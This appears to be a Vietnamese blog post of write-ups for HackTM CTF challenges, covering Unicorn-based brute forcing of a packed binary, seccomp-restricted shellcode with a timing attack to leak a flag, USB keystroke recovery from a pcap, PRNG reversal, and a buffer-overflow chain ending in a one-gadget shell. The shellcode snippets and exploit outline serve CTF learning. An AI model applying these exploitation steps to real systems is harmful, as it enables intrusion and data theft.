HackTm 2019

Baby bear

Đây là một file bị pack bởi UPX nhưng đã bị sửa :vv 😅😅😅 Nhưng magic là vẫn đọc được đầy đủ code vì nó được compile từ assembly. Vẫn có những string cùng với một số hàm cơ bản nên việc reverse mà không cần unpack là điểu khả thi.

Hàm start :

Hàm start bắt đầu bằng việc đọc 16 bytes từ file /dev/urandom làm giá trị khởi tạo, chuyển nó về dạng bit theo kiểu ‘a’ -> ‘10000110’ rồi in hình con gấu. Sau đó, là đến đoạn mã hóa string :

Do đang bị pack nên trông không ra hàm nhưng ta có thể hiểu được hàm mã hóa này có hai tham số truyền vào là độ dài đoạn mã hóa đầu ra là 46 và địa chỉ lưu giữ string là esi = 0x600780.

Ban đầu , mình dùng unicorn để dựng lại hàm mã hóa này, cho một input đầu vào và có được output đầu ra. Việc thiết lập unicorn theo các bước không quá phức tạp : basic setupexecute binary function . 😁😁😁Sau khi chơi với input ngẫu nhiên và xem output đầu ra là gì, mình rút ra được nhận xét là cứ 2 bytes đầu thì output đầu ra giống nhau ít nhất là 8 bits, 3 bytes thì là 11 bits, …. (~o ̄3 ̄)~ BÙm mình định brute force từ đây. Nhưng có quá nhiều trường hợp và thời gian bruteforce có thể lên tới đơn vị tiếng mà timeout của server chỉ là 30s 🙄🙄🙄 Với trình độ mới tập chơi unicorn thì mình cũng khá là gà trong việc viết script này 😥😥😥
Sau khi đọc lại code và cố viết lại graph cách hoạt động của chương trình thì mình cũng hiểu sơ sơ nhưng nó khá là phức tạp nên mình chỉ đọc đoạn đầu. Không ngờ có team ngồi reverse hết được :))) Chương trình họ viết lại được thì trông nó như này :)))

Trở lại quá trình mã hóa, trong mỗi lần lặp, nó sẽ tăng esi lên từ 1 - 3 đơn vị , không thể giảm và cho ra một giá trị output, in ra màn hình bằng hàm sub_4000B0. Output đầu ra có thể lấy từ chuỗi truyền vào hoặc không, do đó input mà ta tìm được có thể không giống với input ban đầu. Và nhảy tới block mã hóa tiếp theo. Có tất cả 9 block mã hóa mình đánh dấu được bằng hàm sub_4000B0 - hàm set và ghi giá trị output. Mỗi block sẽ set một giá trị output xác định.

return_value = {0x40010B: 1, 
                    0x400348: 1, 
                    0x400374: 0,
                    0x4003A5: 0,
                    0x4003B6: 0, 
                    0x4003CF: 0, 
                    0x400417: 1,
                    0x400463: 0, 
                    0x40047D: 1 
    } 

Do việc quyết định bit đầu ra là kiểu logic mà không phải phép toán số học nên gây khó khăn cho người chơi.

Đến đây, thì do tại mỗi bước có hai lựa chọn là ‘0’ hoặc ‘1’, giống hệt như một cây nhị phân. . Cứ đi theo cây nhị phân, biết vị trí hiện tại trong cây, và vị trì tiếp theo thì hoàn toàn có thể tìm được nhánh nào là nhánh cần tìm và giá trị bit nào thỏa mãn đi theo nhánh đó. Việc tự động hóa quá trình này thì hơi phức tạp hơn tí. Giờ lại nhớ lại hồi học thuật toán, sao mình không chăm chỉ hơn để giờ ngồi viết code mệt thế này 🤣🤣🤣 À nhưng sau một hồi viết thì nó cũng không quá phức tạp như mình tưởng tượng.

Các bước sẽ như sau :

Bước 1 : Bắt đầu từ string rỗng, current_esi = 0x600780

current_esi là giá trị thanh ghi esi mà ở đó ta thu được k bit của chuỗi ouput cần đạt được

Bước 2 : Brute force từng bit của target output

Do mỗi bước đi thanh ghi esi chỉ tăng 1-3 bit mà không giảm nên tại mỗi bước ta bruteforce 3 bit này. Dùng unicorn để xác định xem khi nào thanh ghi esi vượt quá giá trị current_esi,đó là thời điểm mà chương trình sẽ set output tiếp theo. Tiếp tục trace thêm vài lệnh nữa, tại thời điểm chương trình gọi hàm sub_4000B0. Đây là thời điểm chương trình set bit output tiếp theo mà chúng ta đang bruteforce. Kiểm tra bit sẽ được set dựa trên list return value trên kia, nếu đúng thì dừng :

if bytes_to_long(machine_code[1:][::-1]) + address - 0x4000B0 == 0xfffffffb :  # if call sub_4000B0
    rsi = mu.reg_read(UC_X86_REG_RSI)
    if rsi > old_rsi  :  # if we just pass old position 
        if return_value[address] == int(target_bits) :    # come to function set true target bits  

Kiểm tra giá trị thanh ghi rsi, đó là độ dài chuỗi bit input ảnh hưởng tới output hiện tại, do đó ta lấy đúng số lượng bits đã đó thành input đầu vào.

# print("[***] RSI = " + hex(rsi)) 
raw_input = payload[:rsi - 0x600780]    # rsi - 0x600780 is the number byte effect to this state
old_rsi = rsi  
found = True 

Bước 3 : Tiếp tục bruteforce từng bits như thế cho tới khi thu được kết quả cuối cùng

Obey The Rules

Link writeup : https://blog.redrocket.club/2020/02/04/hacktm20-obeytherules/
Qua bài này mình học thêm được một chút về shellcode.
File này cho phép chúng ta thực hiện shellcode :

payload = "Y\0" + shellcode    

Gặp shellcode là ngại rồi vì chưa luyện nhiều. Lại còn dính seccomp §( ̄▽ ̄)§ Lần đầu nghe được.
Thực ra seccomp cũng chỉ là những rules giới hạn các lệnh gọi system call thôi. Trong bài này rules bị ẩn đi, ta có thể check những seccomp gì dùng được bằng cách :

shellcode = """
  xor rax, rax;
  mov al, {};
  syscall;
  ud2;   # crash program   
"""

Nếu rule được thông qua thì chương trình trả về illegal instruction còn không sẽ trả về segmentation fault. Riêng system call 0 không check được bằng shellcode trên do strcpy không copy byte null. Syscall 60 (exit) thì không trả về gì nếu thành công do chương trình tự động kết thúc.
Tiếp đến, tiến hành để mở rộng độ lớn của shellcode bằng cách read(0, &$rip, 0x1234). Viết tiếp shellcode.

shellcode = """
  push rbx;
  push rbx;
  pop rax;
  pop rdi;
  pop rsi;
  mov dh, 0xff; 
  syscall;
"""

Lưu ý :

  • chú ý giá trị khởi tạo trước khi thực thi shellcode để làm giảm độ dài của shellcode, trong trường hợp này do rbx = 0 nên ta có thể dùng cặp lệnh push-pop để set rax=rdi=0 tốn ít bytes hơn.
  • đỉnh stack lưu trữ giá trị rất gần với địa chỉ thanh ghi $rip hiện tại, là câu lệnh phía sau syscall, thực tế nó chỉ vào đầu của shellode cho nên ta có thể dùng lệnh pop rsi để chỉ định buffer .

👉 Cuối cùng tiến hành timming attack :

Mở file 
-> Đọc flag 
-> So sánh với giá trị bruteforce
-> Đúng thì lặp vô hạn 
-> Sai thì dừng 

Như vậy, dựa vào thời gian thực hiện ta có thể biết được byte nào đúng, byte nào sai.
Chúng ta có thể viết nhanh đoạn shellcode trên bằng shellcraft.
Shellcraft note :

  • Open : shellcraft.open(filename)
  • Read : shellcraft.read(fd=”fd-name”, buffer=”buffer-name”, count=0x1234)
  • Exit : shellcraft.exit(0)

Strange PCAP

Link writeup : https://blog.b00t.nl/Strange-PCAP/
Bài này cho một file pcap. Sau khi phân tích thì tìm ra được một file zip. Phần tìm ra file zip thì có thể bằng cách fitler độ dài frame :

frame.len > 100 

Điểm mình thấy hứng thú ở bài này là cách lọc USB keyboard, xưa cũng gặp bài tương tự một lần rồi mà mình không có đọc writeup (●’◡’●).

USB Filter :

tshark -r filename -T fields -e usb.capdata | sed '/^\s*$/d' > output

Bỏ những dòng không đúng độ dài đi .

Convert to string

usb_codes = {
   0x04:"aA", 0x05:"bB", 0x06:"cC", 0x07:"dD", 0x08:"eE", 0x09:"fF",
   0x0A:"gG", 0x0B:"hH", 0x0C:"iI", 0x0D:"jJ", 0x0E:"kK", 0x0F:"lL",
   0x10:"mM", 0x11:"nN", 0x12:"oO", 0x13:"pP", 0x14:"qQ", 0x15:"rR",
   0x16:"sS", 0x17:"tT", 0x18:"uU", 0x19:"vV", 0x1A:"wW", 0x1B:"xX",
   0x1C:"yY", 0x1D:"zZ", 0x1E:"1!", 0x1F:"2@", 0x20:"3#", 0x21:"4$",
   0x22:"5%", 0x23:"6^", 0x24:"7&", 0x25:"8*", 0x26:"9(", 0x27:"0)",
   0x2C:"  ", 0x2D:"-_", 0x2E:"=+", 0x2F:"[{", 0x30:"]}",  0x32:"#~",
   0x33:";:", 0x34:"'\"",  0x36:",<",  0x37:".>", 0x4f:">", 0x50:"<"
   }
buff = ""

pos = 0
for x in open("output","r").readlines():
    code = int(x[4:6],16)

    if code == 0:
        continue
    if code == 0x28:
        buff += "[ENTER]"
        continue
    if int(x[0:2],16) == 2 or int(x[0:2],16) == 0x20:
        buff += usb_codes[code][1]
    else:
        buff += usb_codes[code][0]

Cũng không quá phức tạp.

Ananas

Link writeup : https://r3billions.com/writeup-ananas/

Dump File PE

Bước đầu Ip .118 sẽ gửi một file PE tới Ip .30.
Từ Frame 14, trong wireshark ta follow TCP stream sẽ thấy đầy đủ một file PE. Chọn định dạng Raw rồi Save as thôi.😅 Lúc đầu ngáo ngơ ko chọn định dạng Raw làm mất bao nhiêu thời gian.

Parse file PE

Qua bài này học thêm một trick reverse, dựa vào những câu lệnh in ra lỗi để tìm được source code của hàm :

Search google ta sẽ tìm được source : https://github.com/cinder/Cinder/blob/master/src/videoInput/videoInput.cpp

Sau khi có source, lần theo và xác định tên hàm thôi :)))

Như vậy file PE này thực hiện nhiệm vụ :

  • Đọc 1 ảnh
  • Nhận seed 4 bytes từ server cho prng()
  • Đảo bit theo prng()
  • Gửi cho server

Get Data

Dùng command để extract đoạn dữ liệu gửi giữa Ip .118 và .30 :

tshark -r ananas.pcap -q -Tfields -e data -Y "(data) &&  (((ip.dst == 192.168.100.30)  && (ip.src == 134.209.225.118) )|| ((ip.src == 192.168.100.30)  && (ip.dst == 134.209.225.118) ))" > data.txt

Ta thu được file data.txt. Bỏ dòng đầu tiên. Tiếp đó, cứ 4 dòng liên tiếp lại theo format : seed, data1, data2. Client thực hiện gửi rất nhiều ảnh tới server. Chúng ta cần giải mã tất cả các ảnh này để thu về được flag.

Reverse

Hàm prng :

def prng() : 
    global seed 
    seed = (0x47fc96 + 48192 * seed ) % max_int 
    seed ^= (seed >> 7) % max_int
    seed ^= ((seed << 17) % max_int)
    seed ^= ((77 * seed) % max_int)
    return (seed // 1234 )

Hàm Reverse swap :

    random_number = [0] * (len_data -1)
    for i in range(len_data - 1) : 
        random_number[i] = prng() 

    for i in range(1, len_data - 1) : 
        rdn = random_number[len_data - i - 1] % i
        data[i], data[rdn] = data[rdn], data[i]  

Save to images :

    from PIL import Image
    img = Image.new('L', (160, 90))
    pixels = img.load()
    for h in range(90):
        for w in range(160):
            pixels[w, h] = int(data[160 * h + w])
    img.save("img.png")

Thu được 153 ảnh, thực ra là 1 gif :)))).

Twisty

Reverse

Reverse có đôi chút khó khăn nhưng kết hợp với debug thì sẽ dễ dàng hơn.
Chú ý vào những hàm nó thực hiện đọc hoặc ghi 😉

Mỗi lần thực hiện rotate thì nó sẽ lưu lại trạng thái trên stack :

Chúng ta có thể view lại trạng thái đã thực hiện :

Undo các bước đã thực hiện :

Critical Bug

Chúng ta có thể lặp vô hạn lần, nên khi lưu trạng thái lên stack
-> buffer overflow. Overflow đến chỗ nStep ( là chỗ chứa số kí tự đã ghi) cần cẩn thận :vv Overflow cho nó thành số lớn lớn
-> Leak được libc bằng hàm in ra trạng thái
-> Undo các bước đến đoạn địa chỉ trở về
-> Ghi đè địa chỉ trở về thành one-gadget
-> solve puzzle
-> get shell

༼ つ ◕_◕ ༽つ To be continued